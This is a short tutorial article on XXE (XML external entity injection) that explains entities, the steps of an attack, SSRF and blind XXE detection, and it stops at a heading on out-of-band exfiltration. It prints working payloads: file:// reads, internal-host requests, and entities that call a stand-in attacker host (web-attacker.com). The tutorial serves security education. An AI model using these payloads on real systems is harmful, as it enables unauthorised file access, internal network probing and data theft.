Skip to main content

Command Palette

Search for a command to run...

XXE Article

Published
3 min read

XXE

Definition

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.

Overview

XML allows custom entities to be defined within the DTD. For example:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

This definition means that any usage of the entity reference &myentity; within the XML document will be replaced with the defined value: my entity value.

What are xml external entities?

XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared. The declaration of an external entity uses the SYSTEM keyword and must specify a URL from which the value of the entity should be loaded. For example:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

The URL can use the file:// protocol, and so external entities can be loaded from file. For example:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

How XXE attacks work – step-by-step

A successful XXE attack follows this pattern:

  • The attacker identifies an application endpoint that accepts and processes XML input
  • The attacker crafts malicious XML containing external entity declarations
  • The malicious payload is submitted through the vulnerable input (API, file upload, import feature)
  • The XML parser processes the input and resolves the external entity references
  • The parser accesses the specified resource (local file, remote endpoint, etc)
  • The application either returns the accessed data directly or the attacker uses alternative techniques to retrieve it

Exploiting XXE to perform SSRF attacks

In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization's infrastructure:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

Finding and exploiting blind XXE vulnerabilities

Blind XXE vulnerabilities arise where the application is vulnerable to XXE injection but does not return the values of any defined external entities within its responses. This means that direct retrieval of server-side files is not possible, and so blind XXE is generally harder to exploit than regular XXE vulnerabilities. There are two broad ways in which you can find and exploit blind XXE vulnerabilities:

  • You can trigger out-of-band network interactions, sometimes exfiltrating sensitive data within the interaction data.
  • You can trigger XML parsing errors in such a way that the error messages contain sensitive data.

Detecting blind XXE using out-of-band (OAST) techniques

This XXE attack causes the server to make a back-end HTTP request to the specified URL. The attacker can monitor for the resulting DNS lookup and HTTP request, and thereby detect that the XXE attack was successful.

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

Sometimes, XXE attacks using regular entities are blocked due to some input validation. In this situation, you might be able to use XML parameter entities instead. XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD. Here, the declaration of the xml parameter entity is done by adding the percent sign (%) before the entity name, and to call it we do percent sign plus the semicolon:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
<!ENTITY % variable SYSTEM "value"> %variable;

Exploiting blind XXE to exfiltrate data out-of-band